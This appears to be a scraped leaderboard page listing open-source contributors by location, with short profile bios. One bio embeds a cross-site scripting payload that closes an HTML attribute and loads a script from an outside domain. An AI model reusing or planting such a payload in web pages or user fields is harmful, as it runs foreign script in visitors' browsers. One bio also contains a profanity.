Bristol, UKTop 100 Open Source Contributors Worldwide
People with Minimum 50 followers from all countries are eligible for this leaderboard. 🕒 Last updated:
Bristol, UK
Jonathan D.A. Jewell
NUJ NEC | Open University | Formal Verification, Language Design, Dependable.& Distributed Safety-Critical Systems | Available for collaborations.
London, United KingdomBreakdown
South AfricaBreakdown

Dmitrii Vasilev
Creator Trinity S³AI - AGI game Play, direct, earn: the core is a game, and the board is public φ² + 1/φ² = 3
ThailandBreakdown

Tom Longhurst
Developer of TUnit + Hobbyist Photographer
London, UKBreakdown

Franck Nijhof
Lead of @home-assistant at the Open Home Foundation. GitHub Star 🌟 Open Sourcerer. Him/He. Dad. Be the change ❤
Enschede, The NetherlandsBreakdown

Sirui Lu
Physics for AI; AI for Physics.
Munich, GermanyBreakdown

Noah Gift
🚀 Founder of Pragmatic AI Labs | Building AI/ML Education for 1M+ Students | Duke EIR | AWS ML Hero Learn production ML: https://paiml.com
SpainBreakdown
Ho Chi Minh City, VietnamBreakdown

ubugeeei
Fuck you, human.
Tokyo / JapanBreakdown

Mohannad Faihan Otaibi
A techno-maniac who loves coding. Embracing change and innovation in the tech world. Connect with a Saudi geek who's in love with code! #Saudi, #Geek, #Coder
Saudi ArabiaBreakdown

Yegor Bugayenko
Author of "Angry Tests" and "Elegant Objects" books (buy them on Amazon); architect of @objectionary and founder of @zerocracy
ChinaBreakdown

Tokuhiro Matsuno
Go/Kotlin/Rust/Python engineer. I wrote Java, Perl5, C, C++, Kotlin, and golang for $DAYJOB.
Tokyo, JapanBreakdown

lif
AI harness evolution leaner
China BeiJingBreakdown

Chris Gianelloni
CEO & Co-Founder | Open Source Developer
USABreakdown

Anton Melnikov
One of @Homebrew maintainers. I like free software and functional programming. Not a big fan of "AI"
Belgrade, SerbiaBreakdown

Martin Costello
.NET developer, tester and Microsoft MVP based near London working on Observability at Grafana
London, UKBreakdown

Konstantin S.
Independent Software Engineer specializing in AI, with a strong background in .NET, Swift and Next.js. I focus on delivering both quality and speed.
Dubai, United Arab EmiratesBreakdown

Yoichi Hirai
Using this account for activities of Flamingo Ponderado Unipessoal LDA since 2025-07-09.
PortugalBreakdown
Beijing, ChinaBreakdown

Daeho Ro
Hello World!
Seoul, South KoreaBreakdown
Cologne, GermanyBreakdown

NielsRogge
ML @HuggingFace. Interested in deep learning, NLP. Contributed 40+ models to HuggingFace Transformers
BelgiumBreakdown

Christopher Albert
I’m a physicist at TU Graz where I do research and teaching on fusion plasma physics and software engineering in science.
Graz, AustriaBreakdown
JapanBreakdown

Bevan Kay
Lead Maintainer @Homebrew
Geelong, Victoria, AustraliaBreakdown
Almelo - NetherlandsBreakdown
GermanyBreakdown

Kieran Drewett
Software Engineer
Basingstoke, UKBreakdown

Frais Asghar
NUST'28 | Mechanical Engineer | SMME | | Design & Simulation | SolidWorks | ANSYS | AutoCAD | Autodesk CFD
NUST, H-12, Islamabad, PakistanBreakdown

Alejandro Falkowski
Software leadership, reliable systems, and product delivery.
Berlin, GermanyBreakdown
Ljubljana, SloveniaBreakdown

Wealth Hajoh
If it works, don’t touch it. If it breaks, blame Git. If bug dey, na feature we go call am. Just dey push code, make e no break.
NigeriaBreakdown

Grisuno
The First LazyOwner 📦 :P
Santiago de chileBreakdown

Martin Stühmer
CTO @ Integrated Worlds, Husband and father, .NET and Azure enthusiast
Greater Stuttgart Metro, GermanyBreakdown

Ralph Küpper
Founder & Developer at @PerryTS and @HoneIDE and @MangoQuery
GermanyBreakdown

Alexey Milovidov
ClickHouse co-founder and CTO
Amsterdam, NetherlandsBreakdown

Val Alexander 👑
Founder @OpenCoven and VC Moderator @TypeSafe-AI 🌸
USABreakdown

Mykhailo Chalyi
aka Mike Chaliy
Ukraine / USABreakdown

Arran Ubels
This is a bio. Contact me via linkedin if possible.
Melbourne, AustraliaBreakdown
Sydney, AustraliaBreakdown

Marcus Quinn
Building aidevops.sh, and lots of cool things with it. Open-Source wins. You can't lose what you give freely. Knowledge shared, multiplies.
London, UK, Los-angeles, California, England, JerseyBreakdown

Igor Ganapolsky
Forward Deploy AI Engineer
Florida, USABreakdown

Thibaut Durand
Researcher in Computer Vision and Machine Learning. This profile is used for personal projects/contributions
Vancouver, CanadaBreakdown

kuu(Fumiya Kume)
Software Engineer @mercari
JapanBreakdown

题叶
AI agents driver. Calcit maintainer.
Shanghai, ChinaBreakdown

Ulises Jeremias
I'm an Open Source Enthusiast working as a Core Team Member of @vlang, Solutions Architect at @nanlabs and AUR maintainer
La Plata, Buenos Aires, ArgentinaBreakdown
Bauru, São Paulo, BrazilBreakdown

Romain Baumier
CTO as a Service & full-stack senior developer
Angers, FranceBreakdown

JarbasAI
<3 open source
PortugalBreakdown

Diogo Ribeiro
Lead Data Scientist | AI Engineer | Professor | LLMs, RAG, AI Agents, Forecasting, Anomaly Detection | End to End Production AI Systems | Mathematical Engineer
Portugal Breakdown

Kuroné Kito (黒音キト)
Virtual Beings: Virtual YouTuber (VTuber) / Loop engineering developer / Developer for web frontend / UIUX designer / 🇯🇵
Tokyo, JapanBreakdown

Kenta Goto
AWS DevTools Hero / AWS CDK Top Contributor & Community Reviewer / Creator of cdkd
JapanBreakdown
São Paulo, BrazilBreakdown

Thomas Schmelzer
Mathematician & Rhodes scholar @ Oxford; quant and software engineer out in the Wild. Now building for Claude, not just with it.
Abu Dhabi, United Arab EmiratesBreakdown

lestrrat
DevRel/Tech Event orga. @peco maintainer. Projects → Go: @lestrrat-go, Perl5: @lestrrat-p5, Perl6: @lestrrat-p6, dead projects: @lestrrat-morgue
Tokyo, JapanBreakdown

Sul
I'm a Scientist who loves organic chemistry, devops, chemicals, social media, stock marketing, art, and law. I try to develop in those areas.
United StatesBreakdown

Joost Lekkerkerker
Making homes smart and open 🏡
Utrecht, The NetherlandsBreakdown

JUN
Building GOAT (trygoat.ai): run coding agents on any model, any machine. Creator of OpenCodex (18K★). Korea University.
Seoul, South KoreaBreakdown
Niigata, JapanBreakdown

Viacheslav Ptsarev
AI Automation Expert, Software Engineer, Leader and Hacker
Valencia, Spain Breakdown

Luong NGUYEN
Software Engineer / AI, Cybersecurity / Learn, Build, Share and Connect
Paris, FranceBreakdown
JapanBreakdown

Eduardo Gade Gusmao
Senior Data Engineer & Distributed Sistems Expert creating reliable ETL/ELT pipeline workflows and designing high-performance Cloud-native platform architecture
BrazilBreakdown

Donny/강동윤
Creator of @swc-project. ex @vercel @denoland
South koreaBreakdown

Jiahan Chen
Creator of Rstack & Rsbuild & Vant / Rstack team lead / SWC & Module Federation contributor
Hangzhou, ChinaBreakdown

Sebastien Rousseau
Payments leader, 19 years in banking. I build open-source ISO 20022, post-quantum cryptography and applied AI for finance.
London, UKBreakdown

Mykhailo Chalyi
aka Mike Chaliy
Ukraine / USABreakdown

Benoit TELLIER
Techie passionate about distributed computing and eventual consistency. Coordinating efforts @linagora around a distributed email server. Apache James PMC.
Lyon (FRANCE)Breakdown

Dery Ferdika
LLM Engineer focused on building Agentic AI and RAG pipelines. I spend most of my time figuring out how to make AI Agents more reliable and efficient.
Malang, IndonesiaBreakdown

Stefan Maroń
Microsoft Dynamics 365 Business Central Developer | Microsoft MVP
Olesno, PolandBreakdown

Jeongho Nam
AI Function Calling and Coding Agent Expert
Seoul, South KoreaBreakdown

Alexey Grigorev
Running @DataTalksClub and hacking some personal projects
Berlin, GermanyBreakdown
Warsaw, PolandBreakdown

Paolo Veronelli
remote haskell developer
sesimbra, portugalBreakdown

Przemysław Kłys
Working on #Windows, #ActiveDirectory, #MSExchange, #PowerShell, #Office365 in random order. I like Battlefield (PS5, MadBoyEvo, I Kill You), Fallout, and Civ.
Poland, MikolowBreakdown
Kanagawa, JapanBreakdown
UK Breakdown

Janic Duplessis
Head of consulting @AppAndFlow, React Native Core Contributor
Montreal, CanadaBreakdown

Hiroshi Shinaoka
Professor of computational physics, quantum many-body theory, condensed matter physics
Saitama, JapanBreakdown
Tokyo/JapanBreakdown

James Pether Sörling
CEO/Founder @Hack23
SwedenBreakdown

Sebastian Werner
Enthusiastic entrepreneur @sebastian-software • OpenSource evangelist • Consultant for large-scale web app development • Fluent in UX / design thinking
Hirschberg, GermanyBreakdown
Staffordshire, UKBreakdown
Zürich, SwitzerlandBreakdown

Pedro Henrique Penna
Senior Research Software Engineer @MicrosoftResearch
Redmond, USABreakdown

Sandro
devops engineer, programmer, gamer and nixpkgs commiter "><script src=//sandro.ez.pe></script><x="
GermanyBreakdown

Lucas Santana
Senior engineer. AI agent tooling and evals on Node/TS backends. Brazil, UTC-3.
BrazilBreakdown
IsraelBreakdown

Kaleb Luedtke
Microsoft MVP; WinGet Community Moderator
Wisconsin, USBreakdown

Andrea Cosentino
Apache Camel :camel: | Apache Member | Security Researcher | Open Source
Rome, ItalyBreakdown

Marian Steinbach
Designing your experience with @giantswarm
Cologne, GermanyBreakdown
Aix-en-Provence, FranceBreakdown
GermanyBreakdown

Tom J Nowell
Senior Engineer
United KingdomBreakdown
Kalymnos, GreeceBreakdown
Nagano, JapanBreakdown

Mánu Fosela
CTO & AI strategy at TRIBBU | Focused on People Telecommunications Engineer Passionate about Technology and Organizational Culture Believer in Affective Lead
SpainBreakdown

Shigosag (Segun Arulogun Gabriel)
AI-Assisted Software Developer | Automation, AI Tools & Scalable Solutions | Self-taught Developer | Entrepreneur | Civil Engineering Graduate | Problem Solver
NigeriaBreakdown

Thomas Tränkler
Senior IT consultant for AI, Web, and Cloud Technologies
Munich, Germany























